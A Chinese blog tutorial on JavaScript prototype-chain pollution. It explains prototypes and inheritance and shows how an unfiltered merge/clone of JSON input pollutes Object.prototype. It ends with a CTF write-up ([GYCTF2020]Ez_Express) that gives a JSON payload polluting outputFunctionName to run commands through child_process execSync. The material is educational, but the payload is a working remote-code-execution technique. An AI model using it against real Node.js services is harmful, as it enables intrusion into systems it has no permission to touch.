从零到0原型链污染(JavaScript)
前言#
遇到很多次原型链知识点的考题,每次都被爆锤,下次不想了呀。。。
JavaScript原型#
javascript中的类,在java和php中使用class来定义类,而是通过函数定义的方法。
JavaScript 常被描述为一种基于原型的语言 (prototype-based language)——每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。
var person=new Person('lyc',30,'male');
console.log(person);
具体原型链结构图

要记住
person.__proto__=Person.prototype
总结一下:
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法- 一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性
JavaScript原型链继承#
由于JavaScript没有类似Java中的Class概念,继承都是由原型链来实现的。
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
比如:
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
Son类继承了Father类的last_name
属性,最后输出的是Name: Melania Trump
。
总结一下,对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__
中寻找last_name - 如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name - 依次寻找,直到找到
null
结束。比如,Object.prototype
的__proto__
就是null
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:
- 每个构造函数(constructor)都有一个原型对象(prototype)
- 对象的
__proto__
属性,指向类的原型对象prototype
- JavaScript使用prototype链实现继承机制
比如
function Teacher(name,age,gender,subject){
Person.call(this,name);
Person.call(this,age);
Person.call(this,gender);
this.subject=subject;
}
Teacher.prototype=new Person();
console.log(Teacher.prototype);
可以看到,Teacher.prototype的proto属性是Person.prototype,原型链也就多了“一层”。

原型链污染#
第一章中说到,foo.__proto__
指向的是Foo
类的prototype
。那么,如果我们修改了foo.__proto__
中的值,是不是就可以修改Foo类呢?
做个简单的实验:
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
最后,虽然zoo是一个空对象{}
,但zoo.bar
的结果居然是2:
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
哪些情况下原型链会被污染#
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
- 对象merge
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
假如存在一个merge操作:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
这里没有对键值进行过滤,假如key为__proto__,那么就可以进行原型链污染。
这里需要注意,要配合JSON.parse使得我们输入的__proto__被解析成键名,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,否则它只会被当作当前对象的”原型“而不会向上影响,
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
例如:
>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined
>o2.__proto__
<{b: 2} //直接返回对应值
>console.log({}.b)
<undefined //并未污染原型
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined
>console.log({}.b)
<2 //原型被成功污染
例题[GYCTF2020]Ez_Express#
-
知识点
- js原型污染链
- toUpperCase()绕过
-
通过正则,不可注册含有 admin 的用户
- 通过 toUpperCase()绕过
- 利用 clone()污染
unction safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
在/action的路由中找到clone()的位置,需要admin登录
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
- 寻找污染点,info页面
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
其中 outputFunctionName 未被声明,可以利用
可以看到在/info
下,使用将outputFunctionName
渲染入index
中,而outputFunctionName
是未定义的
res.outputFunctionName=undefined
;
也就是可以通过污染outputFunctionName
进行SSTI
于是抓/action
的包,Content-Type 设为 application/json,调用 clone,实现污染
- payload:
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
- 再访问
/info
,下载 flag
例题[网鼎杯 2020 青龙组]notes#
http://chaosec.top/2020/09/24/buuctf3/
例题安洵杯 2020 Validator#
https://writeup.ctfhub.com/Challenge/2020/安洵杯/Web/9svHGs6PFkEBneTx4XaZ6r.html
参考https://www.freebuf.com/articles/web/275619.html
https://blog.happysec.cn/index/view/328.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
https://blog.csdn.net/qq_45691294/article/details/109320437?
作者:kzd的前沿思考
出处:https://www.cnblogs.com/Fram3/p/15864885.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析